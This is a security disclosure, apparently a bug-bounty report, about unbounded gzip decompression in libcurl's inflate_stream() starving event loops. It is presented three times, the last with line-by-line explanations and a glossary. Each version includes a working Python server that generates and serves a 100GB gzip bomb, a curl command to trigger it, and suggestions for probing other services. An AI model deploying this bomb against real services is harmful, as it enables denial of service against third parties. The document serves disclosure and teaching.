Unbounded GZIP Decompression Leading to Event-Loop Starvation
libcurl's gzip decompression loop in inflate_stream() runs synchronously without bounds or yielding, so a highly compressed response expands to enormous size while blocking the thread. An attacker serving such a payload can starve the event loop of a backend using the multi interface, denying service to all other transfers on that handle.
- Disclosed after 3 days
When libcurl is configured to decompress HTTP responses (via CURLOPT_ACCEPT_ENCODING or the --compressed CLI flag), it lacks decompression bounds checking or a mechanism to yield execution during massive expansion tasks. If an attacker provides a highly compressed payload (zip bomb), libcurl's underlying core function inflate_stream() in lib/content_encoding.c will process the decompression in an unbounded, synchronous while(!done) loop.
For backend services utilizing libcurl's non-blocking I/O interface (curl_multi_perform), this forces the library to synchronously decompress gigabytes or terabytes of data without yielding control back to the application's event loop. This leads to complete thread starvation and denial of service (DoS) for all other active transfers handled by that multi handle.
Summary:
The vulnerability resides in how libcurl handles the zlib inflate loop. The loop iterates synchronously until the currently buffered encoded chunk is fully decompressed. An attacker can stream a 100 MB highly compressed payload that mathematically expands to 100 Gigabytes or even Terabytes natively. Because libcurl enforces zero limits on the decompression ratio (nor does it pause to return control to the caller during massive Z_OK iterations), the CPU core running the multi interface becomes 100% blocked. This is highly disruptive for microservices, webhooks, or automated systems leveraging libcurl under the hood with compression enabled to save bandwidth. [six or fewer sentences describing the issue and optionally a short proof-of-concept script]
Affected version
curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0
Steps To Reproduce:
To cleanly demonstrate the severity within the context of CPU starvation (and avoid simply filling a disk), i provide a self-contained PoC generating a 100GB decompression bomb dynamically. In a real-world scenario targeting a backend service, the application's thread will freeze entirely.
Step 1: Save the Malicious Server Script
Save the following python script as server_bomb.py. This script dynamically generates a custom gzip payload engineered to expand to exactly 100 Gigabytes of zeros.
#!/usr/bin/env python3
import gzip
import io
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
print("[*] Generating 100GB decompression bomb...")
# Generate a highly compressed 100GB payload in memory
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as f:
chunk = b'0' * (1024 * 1024) # 1 MB of zeros
for _ in range(100 * 1024): # Write 102,400 times (100 GB total)
f.write(chunk)
BOMB_DATA = buf.getvalue()
class MaliciousServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Encoding', 'gzip')
self.send_header('Content-Length', str(len(BOMB_DATA)))
self.end_headers()
self.wfile.write(BOMB_DATA)
print(f"[!] Victim requested {self.path}. 100GB Payload delivered!")
def log_message(self, format, *args):
pass
if __name__ == '__main__':
host, port = '127.0.0.1', 8080
print(f"\n[*] Malicious Server running at: http://{host}:{port}/")
try:
HTTPServer((host, port), MaliciousServer).serve_forever()
except KeyboardInterrupt:
sys.exit(0)
Step 2: Start the Malicious Server
python3 server_bomb.py
Step 3: Trigger the Vulnerability with Curl
To simulate a libcurl application fetching the payload and discarding it (or piping it to a null sink), we use the CLI. We time the operation to demonstrate the CPU lock.
time curl --compressed http://127.0.0.1:8080/ -o /dev/null
Step 4: Validate the Impact
Despite transferring a very small payload over the network loopback, the curl process immediately locks the CPU core at 100% utilization. A typical CLI user may easily interrupt this, but a backend application process executing curl_multi_perform will be completely deadlocked. The thread will spend minutes (or hours if scaled to Terabytes) exclusively in user-space CPU executing zlib routines.
Deeper Code-Level Analysis (Cause and Effect)
The root issue exists in lib/content_encoding.c within the inflate_stream() handler:
/* Because the buffer size is fixed, iteratively decompress and transfer to
the client via next_write function. */
while(!done) {
z->next_out = (Bytef *)zp->buffer;
z->avail_out = DECOMPRESS_BUFFER_SIZE; /* rigidly set to 16KB */
status = inflate(z, Z_BLOCK);
if(z->avail_out != DECOMPRESS_BUFFER_SIZE) {
if(status == Z_OK || status == Z_STREAM_END) {
result = Curl_cwriter_write(data, writer->next, type, zp->buffer,
DECOMPRESS_BUFFER_SIZE - z->avail_out);
...
Cause and Effect:
The while(!done) loop executes continuously as long as inflate() returns Z_OK for the provided input chunk. Because z->avail_out is statically constrained to 16 KB, expanding a 100 GB payload forces libcurl to natively execute 6,553,600 consecutive loop iterations block-by-block.
Crucially, libcurl does not yield back to the application's event loop during this expansion. It violates the promise of non-blocking I/O for multi handles, as the execution thread is hijacked purely by CPU decompression tasks.
Impact
What security impact can an attacker achieve?
An attacker can orchestrate a targeted denial of service (DoS) against backend services, automated crawlers, webhooks, or headless systems integrating libcurl with CURLOPT_ACCEPT_ENCODING enabled.
Summary:
The primary threat is CPU Starvation / Thread Blocking in backend applications.
- Event-Loop Blockade in libcurl integrations: Applications using the non-blocking
multiinterface will freeze. A single maliciously crafted URL blocks the main dispatch thread indefinitely, starving all other concurrent network operations handled by that instance. - Realistic Threat Model: While a CLI user fetching a file will merely experience a hanging terminal (easily breakable), backend microservices fetching external avatars, RSS feeds, or webhook endpoints with compression enabled (a standard practice to save bandwidth) will suffer total worker node exhaustion.
Context
curl is a widely used command-line tool and library for transferring data with URLs. libcurl, its library form, is embedded in a large number of backend services, microservices, webhooks, crawlers and headless systems. One of its features is transparent decompression of HTTP responses: when the application sets CURLOPT_ACCEPT_ENCODING or the user passes the --compressed CLI flag, libcurl advertises supported encodings and decompresses the response body before handing it to the caller. The decompression is implemented in lib/content_encoding.c, in the inflate_stream() handler, which drives zlib's inflate().
The report concerns what happens when that decompression is fed a highly compressed payload, a zip bomb, and the expansion is performed without any bound and without yielding control back to the application.
Setup
The researcher tested against curl 8.19.0 on x86_64-pc-linux-gnu, with libcurl/8.19.0. The proof of concept is self-contained: a Python script that generates a gzip payload expanding to exactly 100 Gigabytes of zeros and serves it over HTTP, plus the curl CLI to fetch it. The relevant precondition on the victim side is that decompression is enabled, either through CURLOPT_ACCEPT_ENCODING in a libcurl integration or through --compressed on the command line. For the most severe impact, the victim is a backend service using libcurl's non-blocking I/O interface, curl_multi_perform.
Finding it
The researcher noticed that libcurl lacks decompression bounds checking and has no mechanism to yield execution during massive expansion tasks. When an attacker supplies a highly compressed payload, the core function inflate_stream() in lib/content_encoding.c processes the decompression in an unbounded, synchronous while(!done) loop. The loop iterates until the currently buffered encoded chunk is fully decompressed.
For backend services using the non-blocking multi interface, this forces the library to synchronously decompress gigabytes or terabytes of data without returning control to the application's event loop. The result is complete thread starvation and denial of service for all other active transfers handled by that multi handle. The researcher notes that libcurl enforces zero limits on the decompression ratio and does not pause to return control to the caller during massive Z_OK iterations, so the CPU core running the multi interface becomes 100% blocked. This is disruptive for microservices, webhooks and automated systems that use libcurl with compression enabled to save bandwidth.
Exploitation
The researcher deliberately demonstrates CPU starvation rather than simply filling a disk, using a self-contained PoC that generates a 100GB decompression bomb dynamically. In a real-world scenario targeting a backend service, the application's thread freezes entirely.
Step 1: Save the malicious server script
The following Python script is saved as server_bomb.py. It dynamically generates a custom gzip payload engineered to expand to exactly 100 Gigabytes of zeros.
#!/usr/bin/env python3
import gzip
import io
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
print("[*] Generating 100GB decompression bomb...")
# Generate a highly compressed 100GB payload in memory
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as f:
chunk = b'0' * (1024 * 1024) # 1 MB of zeros
for _ in range(100 * 1024): # Write 102,400 times (100 GB total)
f.write(chunk)
BOMB_DATA = buf.getvalue()
class MaliciousServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Encoding', 'gzip')
self.send_header('Content-Length', str(len(BOMB_DATA)))
self.end_headers()
self.wfile.write(BOMB_DATA)
print(f"[!] Victim requested {self.path}. 100GB Payload delivered!")
def log_message(self, format, *args):
pass
if __name__ == '__main__':
host, port = '[redacted]', 8080
print(f"\n[*] Malicious Server running at: http://{host}:{port}/")
try:
HTTPServer((host, port), MaliciousServer).serve_forever()
except KeyboardInterrupt:
sys.exit(0)
The HTTP handler responds to any GET with Content-Type: application/octet-stream, Content-Encoding: gzip and the correct Content-Length, then writes the compressed body.
Step 2: Start the malicious server
python3 server_bomb.py
Step 3: Trigger the vulnerability with curl
To simulate a libcurl application fetching the payload and discarding it, or piping it to a null sink, the CLI is used. The operation is timed to demonstrate the CPU lock.
time curl --compressed http://[redacted]:8080/ -o /dev/null
Step 4: Validate the impact
Despite transferring a very small payload over the network loopback, the curl process immediately locks the CPU core at 100% utilisation. A typical CLI user may easily interrupt this, but a backend application process executing curl_multi_perform will be completely deadlocked. The thread will spend minutes, or hours if scaled to terabytes, exclusively in user-space CPU executing zlib routines.
Root cause
The root issue is in lib/content_encoding.c, within the inflate_stream() handler:
/* Because the buffer size is fixed, iteratively decompress and transfer to
the client via next_write function. */
while(!done) {
z->next_out = (Bytef *)zp->buffer;
z->avail_out = DECOMPRESS_BUFFER_SIZE; /* rigidly set to 16KB */
status = inflate(z, Z_BLOCK);
if(z->avail_out != DECOMPRESS_BUFFER_SIZE) {
if(status == Z_OK || status == Z_STREAM_END) {
result = Curl_cwriter_write(data, writer->next, type, zp->buffer,
DECOMPRESS_BUFFER_SIZE - z->avail_out);
...
The while(!done) loop executes continuously as long as inflate() returns Z_OK for the provided input chunk. Because z->avail_out is statically constrained to 16 KB, expanding a 100 GB payload forces libcurl to natively execute 6,553,600 consecutive loop iterations block by block. Crucially, libcurl does not yield back to the application's event loop during this expansion. It violates the promise of non-blocking I/O for multi handles, as the execution thread is hijacked purely by CPU decompression tasks.
Impact
An attacker can orchestrate a targeted denial of service against backend services, automated crawlers, webhooks or headless systems that integrate libcurl with CURLOPT_ACCEPT_ENCODING enabled. The primary threat is CPU starvation and thread blocking in backend applications.
- Event-loop blockade in libcurl integrations: applications using the non-blocking multi interface freeze. A single maliciously crafted URL blocks the main dispatch thread indefinitely, starving all other concurrent network operations handled by that instance.
- Realistic threat model: a CLI user fetching a file merely experiences a hanging terminal, which is easily breakable. Backend microservices fetching external avatars, RSS feeds or webhook endpoints with compression enabled, a standard practice to save bandwidth, suffer total worker node exhaustion.
Fix
The report does not describe a fix or a change made in response. What it identifies as missing is decompression bounds checking and a mechanism to yield execution during massive expansion tasks, so that the synchronous while(!done) loop cannot monopolise the thread. Whether such a change was implemented is not stated in the report.
Variants to test
- Other libcurl-based services with compression enabled: look for applications that set
CURLOPT_ACCEPT_ENCODINGor pass--compressedwhen fetching attacker-influenced URLs, such as avatar fetchers, RSS readers, link previewers and webhook dispatchers. A positive result is the worker thread pegging a CPU core for an extended period while other transfers on the same multi handle stall. - Multi-handle concurrency: run a service that performs several concurrent transfers through one multi handle and point one of them at a bomb. A positive result is that the unrelated transfers make no progress until the decompression finishes.
- Larger expansion ratios: scale the payload beyond 100 GB towards the terabyte range described in the report. A positive result is proportionally longer thread occupancy, confirming that no ratio limit intervenes.
- Other decompression paths: test encodings other than gzip that libcurl decompresses, if the target advertises them. A positive result is the same synchronous, unbounded expansion behaviour in the corresponding handler.
What happened, in plain words
A security researcher found a way to make a popular piece of software called curl freeze a computer's processor for a very long time, using only a tiny amount of network traffic. The trick is a zip bomb: a small file that, when unpacked, grows into an enormous amount of data. curl unpacks compressed web responses automatically, and it does so without any limit on how big the unpacked result can get. So a server can send a highly compressed payload that expands into 100 gigabytes or more, and curl will sit there unpacking it, using 100% of one processor core, without ever pausing to let the rest of the program do anything else.
On a normal desktop this is annoying: your terminal hangs and you press Ctrl+C. But many web services use curl behind the scenes to fetch things like avatars, news feeds or webhook messages. If one of those services fetches a malicious URL, the whole worker thread stops responding, and every other task that thread was handling waits too. That is a denial of service (DoS): the attacker does not steal data, they just make the service unavailable.
Context
What curl and libcurl are
curl is a command-line tool for transferring data with URLs. You type a command, it fetches a web page or file, and it prints or saves the result. libcurl is the same engine packaged as a library: a block of code that other programs can call instead of running a separate command. Because it is convenient and reliable, libcurl is embedded in a very large number of backend services, microservices, webhooks, crawlers and headless systems.
A backend service is a program running on a server that users do not see directly; it does work on their behalf, such as fetching an image from another site. A microservice is a small backend service that does one job. A webhook is an automatic message one service sends to another when something happens, for example a payment processor telling a shop that an order was paid. A crawler is a program that visits web pages automatically. A headless system is software running without a screen or a person watching it.
The feature involved: automatic decompression
Web responses can be compressed to save bandwidth, meaning the sender shrinks the data before transmitting it and the receiver expands it back. This is like vacuum-packing clothes for a move: they take much less space in the van, and you unpack them at the other end. The compression format used here is gzip.
curl has a feature for transparent decompression of HTTP responses. When the application sets CURLOPT_ACCEPT_ENCODING or the user passes the --compressed command-line flag, libcurl tells the server which compression formats it understands and decompresses the response body before handing it to the caller. CURLOPT_ACCEPT_ENCODING is a setting (an option) that a program using libcurl switches on in code; --compressed is the equivalent switch for the command-line tool.
The decompression is implemented in a source file called lib/content_encoding.c, in a function called inflate_stream(), which drives zlib's inflate(). zlib is a widely used compression library, and inflate() is its function for expanding compressed data back to its original form.
The report concerns what happens when that decompression is fed a highly compressed payload, a zip bomb, and the expansion is performed without any bound and without yielding control back to the application.
What a zip bomb is
A zip bomb (here, a gzip bomb) is a file crafted so that a small amount of compressed data expands into a huge amount of uncompressed data. It works because compression is very good at shrinking repetitive data: a million identical characters can be stored in a few bytes. A zip bomb abuses that: the file is small enough to send quickly, but the receiver has to do an enormous amount of work to unpack it.
Setup
The researcher tested against curl 8.19.0 on x86_64-pc-linux-gnu, with libcurl/8.19.0. In plain terms: the test machine was an ordinary 64-bit Linux computer, and the software version was 8.19.0.
The proof of concept is self-contained: a Python script that generates a gzip payload expanding to exactly 100 Gigabytes of zeros and serves it over HTTP, plus the curl CLI to fetch it. A proof of concept (PoC) is a small demonstration that proves a problem is real without being a full attack tool. Python is a programming language often used for quick scripts. HTTP is the protocol browsers and servers use to exchange web pages and files.
The relevant precondition on the victim side is that decompression is enabled, either through CURLOPT_ACCEPT_ENCODING in a libcurl integration or through --compressed on the command line. A precondition is something that must already be true for the attack to work. For the most severe impact, the victim is a backend service using libcurl's non-blocking I/O interface, curl_multi_perform.
Non-blocking I/O deserves a moment. Normally, when a program asks for data over the network, it waits until the data arrives. That is called blocking: the program is stuck. A non-blocking interface lets one program manage many transfers at once: it starts them, and instead of waiting, it checks back periodically and handles whichever one has progress. Think of a waiter serving many tables: they do not stand at one table until the diners finish, they take an order, move on, and come back. curl_multi_perform is libcurl's function for that style of working, and a multi handle is the object that keeps track of all the transfers being managed together.
Finding it
The researcher noticed that libcurl lacks decompression bounds checking and has no mechanism to yield execution during massive expansion tasks. Bounds checking means refusing to go past a sensible limit, for example "stop unpacking after 100 MB". Yielding execution means pausing your own work so the rest of the program can run, like a chef stepping aside so a colleague can use the stove.
When an attacker supplies a highly compressed payload, the core function inflate_stream() in lib/content_encoding.c processes the decompression in an unbounded, synchronous while(!done) loop. A loop is code that repeats; while(!done) means "keep repeating as long as the variable done is not true". Synchronous means the work happens right there and then, with nothing else happening in the meantime. The loop iterates until the currently buffered encoded chunk is fully decompressed. A buffer is a temporary holding area in memory, and a chunk is one piece of data.
For backend services using the non-blocking multi interface, this forces the library to synchronously decompress gigabytes or terabytes of data without returning control to the application's event loop. The event loop is the part of a program that keeps checking for new work and dispatching it, like a receptionist routing phone calls. If the receptionist is stuck on one long call, nobody else gets through. The result is complete thread starvation and denial of service for all other active transfers handled by that multi handle. A thread is one line of execution inside a program; starvation means it gets no chance to run.
The researcher notes that libcurl enforces zero limits on the decompression ratio and does not pause to return control to the caller during massive Z_OK iterations, so the CPU core running the multi interface becomes 100% blocked. The decompression ratio is how much bigger the unpacked data is than the packed data. Z_OK is zlib's status code meaning "everything is fine so far, keep going". A CPU core is one of the processing units inside a computer; 100% blocked means it is fully busy and cannot do anything else. This is disruptive for microservices, webhooks and automated systems that use libcurl with compression enabled to save bandwidth.
Exploitation
The researcher deliberately demonstrates CPU starvation rather than simply filling a disk, using a self-contained PoC that generates a 100GB decompression bomb dynamically. Dynamically means the bomb is built by the script when it runs, rather than shipped as a ready-made file. In a real-world scenario targeting a backend service, the application's thread freezes entirely.
Step 1: Save the malicious server script
The following Python script is saved as server_bomb.py. It dynamically generates a custom gzip payload engineered to expand to exactly 100 Gigabytes of zeros.
#!/usr/bin/env python3
import gzip
import io
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
print("[*] Generating 100GB decompression bomb...")
# Generate a highly compressed 100GB payload in memory
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as f:
chunk = b'0' * (1024 * 1024) # 1 MB of zeros
for _ in range(100 * 1024): # Write 102,400 times (100 GB total)
f.write(chunk)
BOMB_DATA = buf.getvalue()
class MaliciousServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Encoding', 'gzip')
self.send_header('Content-Length', str(len(BOMB_DATA)))
self.end_headers()
self.wfile.write(BOMB_DATA)
print(f"[!] Victim requested {self.path}. 100GB Payload delivered!")
def log_message(self, format, *args):
pass
if __name__ == '__main__':
host, port = '[redacted]', 8080
print(f"\n[*] Malicious Server running at: http://{host}:{port}/")
try:
HTTPServer((host, port), MaliciousServer).serve_forever()
except KeyboardInterrupt:
sys.exit(0)
Line by line, in plain words:
#!/usr/bin/env python3tells the operating system to run this file with Python 3.import gzip,import io,import sysandfrom http.server import ...load ready-made tools: gzip compression, in-memory byte handling, system functions, and a simple web server.print("[*] Generating 100GB decompression bomb...")shows a message so you know the script has started.buf = io.BytesIO()creates an empty container in memory to hold the compressed result.with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as f:opens a gzip writer that will put its output into that container.mode='wb'means write binary data, andcompresslevel=9means maximum compression.chunk = b'0' * (1024 * 1024)builds a 1 MB block of the character zero.for _ in range(100 * 1024):repeats the next line 102,400 times.f.write(chunk)writes the 1 MB block each time. 102,400 times 1 MB is 100 GB of zeros, but because zeros compress extremely well, the stored result is tiny.BOMB_DATA = buf.getvalue()takes the finished compressed data out of the container.class MaliciousServer(BaseHTTPRequestHandler):defines what the web server does when someone connects.def do_GET(self):is the handler for GET requests, the normal request a browser or curl makes when asking for a page.self.send_response(200)replies with HTTP status 200, meaning "OK".self.send_header('Content-Type', 'application/octet-stream')says the content is raw binary data.self.send_header('Content-Encoding', 'gzip')says the content is gzip-compressed. This is the crucial line: it is what makes libcurl decompress the body on the client side.self.send_header('Content-Length', str(len(BOMB_DATA)))states how many bytes are being sent, so the receiver knows when the response ends.self.end_headers()finishes the headers and starts the body.self.wfile.write(BOMB_DATA)sends the compressed bomb.print(f"[!] Victim requested {self.path}. 100GB Payload delivered!")logs that the payload was delivered.def log_message(self, format, *args): passsilences the server's normal logging so the output stays readable.if __name__ == '__main__':runs the following only when the file is executed directly.host, port = '[redacted]', 8080sets the server to listen on the local machine ([redacted]is the address a computer uses to talk to itself) on port 8080.print(...)announces the address.HTTPServer((host, port), MaliciousServer).serve_forever()starts the server and keeps it running.except KeyboardInterrupt: sys.exit(0)lets you stop it cleanly with Ctrl+C.
The HTTP handler responds to any GET with Content-Type: application/octet-stream, Content-Encoding: gzip and the correct Content-Length, then writes the compressed body.
Step 2: Start the malicious server
python3 server_bomb.py
You run this in one terminal window and leave it running; it plays the role of the attacker's website.
Step 3: Trigger the vulnerability with curl
To simulate a libcurl application fetching the payload and discarding it, or piping it to a null sink, the CLI is used. The operation is timed to demonstrate the CPU lock.
time curl --compressed http://[redacted]:8080/ -o /dev/null
timeis a shell command that measures how long the following command takes.curlis the tool being tested.http://[redacted]:8080/is the address of the malicious server started in step 2.
Step 4: Validate the impact
Despite transferring a very small payload over the network loopback, the curl process immediately locks the CPU core at 100% utilisation. Loopback means network traffic that stays inside the same computer, so the transfer itself is instant. A typical CLI user may easily interrupt this, but a backend application process executing curl_multi_perform will be completely deadlocked. Deadlocked means stuck with no way forward. The thread will spend minutes, or hours if scaled to terabytes, exclusively in user-space CPU executing zlib routines. User-space means the ordinary part of the operating system where applications run, as opposed to the kernel, the core of the system.
Root cause
The root issue is in lib/content_encoding.c, within the inflate_stream() handler:
/* Because the buffer size is fixed, iteratively decompress and transfer to
the client via next_write function. */
while(!done) {
z->next_out = (Bytef *)zp->buffer;
z->avail_out = DECOMPRESS_BUFFER_SIZE; /* rigidly set to 16KB */
status = inflate(z, Z_BLOCK);
if(z->avail_out != DECOMPRESS_BUFFER_SIZE) {
if(status == Z_OK || status == Z_STREAM_END) {
result = Curl_cwriter_write(data, writer->next, type, zp->buffer,
DECOMPRESS_BUFFER_SIZE - z->avail_out);
...
Line by line:
- The comment explains the intent: because the buffer size is fixed, decompress repeatedly and pass the result on to the client through a write function.
while(!done) {starts the loop that keeps going untildonebecomes true.z->next_out = (Bytef *)zp->buffer;points zlib at the buffer where it should put the unpacked bytes.z->avail_out = DECOMPRESS_BUFFER_SIZE;sets how much room that buffer has. The comment notes it is rigidly set to 16KB, so each pass can produce at most 16 KB.status = inflate(z, Z_BLOCK);asks zlib to unpack the next block and records the result instatus.if(z->avail_out != DECOMPRESS_BUFFER_SIZE) {checks whether zlib actually produced anything, because if it filled the buffer,avail_outwould be smaller than the original size.if(status == Z_OK || status == Z_STREAM_END) {checks that zlib either has more to give (Z_OK) or has reached the end of the stream (Z_STREAM_END).result = Curl_cwriter_write(...)passes the freshly unpacked bytes on to the next stage, with the length calculated as the buffer size minus what is left.
The while(!done) loop executes continuously as long as inflate() returns Z_OK for the provided input chunk. Because z->avail_out is statically constrained to 16 KB, expanding a 100 GB payload forces libcurl to natively execute 6,553,600 consecutive loop iterations block by block. Statically constrained means the size is fixed in the code and does not change at runtime. Crucially, libcurl does not yield back to the application's event loop during this expansion. It violates the promise of non-blocking I/O for multi handles, as the execution thread is hijacked purely by CPU decompression tasks.
Impact
An attacker can orchestrate a targeted denial of service against backend services, automated crawlers, webhooks or headless systems that integrate libcurl with CURLOPT_ACCEPT_ENCODING enabled. Targeted means aimed at a specific victim rather than random. The primary threat is CPU starvation and thread blocking in backend applications.
- Event-loop blockade in libcurl integrations: applications using the non-blocking multi interface freeze. A single maliciously crafted URL blocks the main dispatch thread indefinitely, starving all other concurrent network operations handled by that instance. Concurrent means happening at the same time.
- Realistic threat model: a CLI user fetching a file merely experiences a hanging terminal, which is easily breakable. Backend microservices fetching external avatars, RSS feeds or webhook endpoints with compression enabled, a standard practice to save bandwidth, suffer total worker node exhaustion. An RSS feed is a standard format for publishing news or blog updates, and a worker node is one machine or process in a pool that shares the work.
Severity is a rough measure of how serious a problem is.
Fix
The report does not describe a fix or a change made in response. What it identifies as missing is decompression bounds checking and a mechanism to yield execution during massive expansion tasks, so that the synchronous while(!done) loop cannot monopolise the thread. Whether such a change was implemented is not stated in the report.
Variants to test
- Other libcurl-based services with compression enabled: look for applications that set
CURLOPT_ACCEPT_ENCODINGor pass--compressedwhen fetching attacker-influenced URLs, such as avatar fetchers, RSS readers, link previewers and webhook dispatchers. A positive result is the worker thread pegging a CPU core for an extended period while other transfers on the same multi handle stall. - Multi-handle concurrency: run a service that performs several concurrent transfers through one multi handle and point one of them at a bomb. A positive result is that the unrelated transfers make no progress until the decompression finishes.
- Larger expansion ratios: scale the payload beyond 100 GB towards the terabyte range described in the report. A positive result is proportionally longer thread occupancy, confirming that no ratio limit intervenes.
- Other decompression paths: test encodings other than gzip that libcurl decompresses, if the target advertises them. A positive result is the same synchronous, unbounded expansion behaviour in the corresponding handler.
Glossary
- Backend service: a program running on a server that users do not interact with directly, doing work on their behalf.
- Blocking: a style of operation where a program waits until a task finishes before doing anything else.
- Bounds checking: refusing to go past a defined limit, such as a maximum size for unpacked data.
- Buffer: a temporary area in memory that holds data while it is being processed.
- Chunk: one piece of a larger stream of data.
- Concurrent: happening at the same time.
- CPU core: one processing unit inside a computer.
- Crawler: a program that visits web pages automatically.
- curl: a command-line tool for transferring data with URLs.
- curl_multi_perform: libcurl's function for driving several transfers at once without waiting on each one.
- Deadlocked: stuck with no way forward.
- Decompression ratio: how much larger the unpacked data is than the packed data.
- Denial of service (DoS): an attack that makes a service unavailable rather than stealing data.
- Dynamically: built or generated while the program runs, rather than shipped ready-made.
- Event loop: the part of a program that keeps checking for new work and dispatching it.
- gzip: a common compression format for shrinking data before transmission.
- Headless system: software running without a screen or a person watching it.
- HTTP: the protocol browsers and servers use to exchange web pages and files.
- inflate(): zlib's function for expanding compressed data back to its original form.
- inflate_stream(): the libcurl function that drives zlib's inflate() during response decompression.
- libcurl: the library form of curl, embedded in other programs.
- Library: a block of code that other programs can call instead of writing it themselves.
- Loop: code that repeats.
- Loopback: network traffic that stays inside the same computer.
- Microservice: a small backend service that does one job.
- Multi handle: the libcurl object that keeps track of several transfers managed together.
- Non-blocking I/O: a style of operation where a program starts a transfer and moves on instead of waiting for it.
- Precondition: something that must already be true for an attack to work.
- Proof of concept (PoC): a small demonstration that proves a problem is real.
- Python: a programming language often used for quick scripts.
- RSS feed: a standard format for publishing news or blog updates.
- Severity: a rough measure of how serious a problem is.
- Starvation: a state where a thread or process gets no chance to run.
- Statically constrained: fixed in the code and not changing at runtime.
- Synchronous: work that happens right there and then, with nothing else happening in the meantime.
- Thread: one line of execution inside a program.
- User-space: the ordinary part of the operating system where applications run, as opposed to the kernel.
- Webhook: an automatic message one service sends to another when something happens.
- Worker node: one machine or process in a pool that shares the work.
- Yielding execution: pausing your own work so the rest of the program can run.
- Z_OK: zlib's status code meaning everything is fine so far, keep going.
- Zip bomb: a small compressed file crafted to expand into an enormous amount of data.
- zlib: a widely used compression library.